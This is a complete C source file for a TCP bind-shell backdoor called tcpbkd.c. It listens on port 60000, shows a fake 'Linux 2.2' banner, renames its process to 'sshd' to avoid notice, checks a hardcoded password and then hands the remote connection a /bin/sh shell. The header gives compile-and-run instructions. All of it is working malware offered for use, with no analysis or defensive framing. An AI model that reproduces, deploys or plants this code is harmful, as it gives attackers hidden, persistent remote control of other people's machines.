/*  tcpbkd.c by nawok, www.nawok.org
 * 
 *  binds a shell to a tcp port of your choice,
 *  requires password authentication. it also lets
 *  you specify the process name.
 *
 *  terminate all commands with a semicolon,
 *  e.g. `id;` and `exit;`
 *
 *  most of the code is ripped from b4b0.c, with
 *  some improvements(?), and a bit cleaner.
 *
 *  does probably only compile under linux,
 *  cc -o tcpbkd tcpbkd.c; ./tcpbkd &
*/

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define PORT      60000
#define MSG       "Linux 2.2\n"
#define SHELL     "/bin/sh"
#define PASSWD    "password"
#define PROCNAME  "sshd"

int main(int argc, char *argv[]);
int login(int PWD);

int main(int argc, char *argv[]) {
  int sockfd, newfd, size;
  struct sockaddr_in local;
  struct sockaddr_in remote;
  
  strcpy(argv[0], "              ");
  strcpy(argv[0], PROCNAME);
  signal(SIGCHLD, SIG_IGN);
  
  bzero(&local, sizeof(local));
  local.sin_family = AF_INET;
  local.sin_port = htons(PORT);
  local.sin_addr.s_addr = INADDR_ANY;
  bzero(&(local.sin_zero), 8);
  
  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("socket");
    exit(1);
  }
  
  if(bind(sockfd,(struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
    perror("bind");
    exit(1);
  }
  
  if(listen(sockfd, 5) == -1) {
    perror("listen");
    exit(1);
  }
  
  size = sizeof(struct sockaddr_in);
  
  while(1) {
    if((newfd=accept(sockfd,(struct sockaddr *)&remote, &size)) == -1) {
      perror("accept");
      exit(1);
    }
    
    if(!fork()) {
      send(newfd, MSG, sizeof(MSG), 0);
      if(login(newfd) != 1) {
        send(newfd, "NEGATIVE!\n", 10, 0);
        close(newfd);
        exit(1);
      } else {
        send(newfd, "Okay, here is your shell..\n", 27, 0);
      }
      close(0); close(1); close(2);
      dup2(newfd, 0); dup2(newfd, 1); dup2(newfd, 2);
      execl(SHELL, SHELL, (char *)0); close(newfd); exit(0);
    }
    close(newfd);
  }
  return(0);
}

int login(int PWD) {
  char u_passwd[15];
  int i;
  send(PWD, "Password: ", 11, 0);
  recv(PWD, u_passwd, sizeof(u_passwd), 0);
  for(i=0;i<strlen(u_passwd);i++) {
    if(u_passwd[i] == '\n' || u_passwd[i] == '\r')
    u_passwd[i] = '\0';
  }
  if(strcmp(PASSWD, u_passwd) == 0) {
     return(1);
  } else {
     return(0);
  }
}

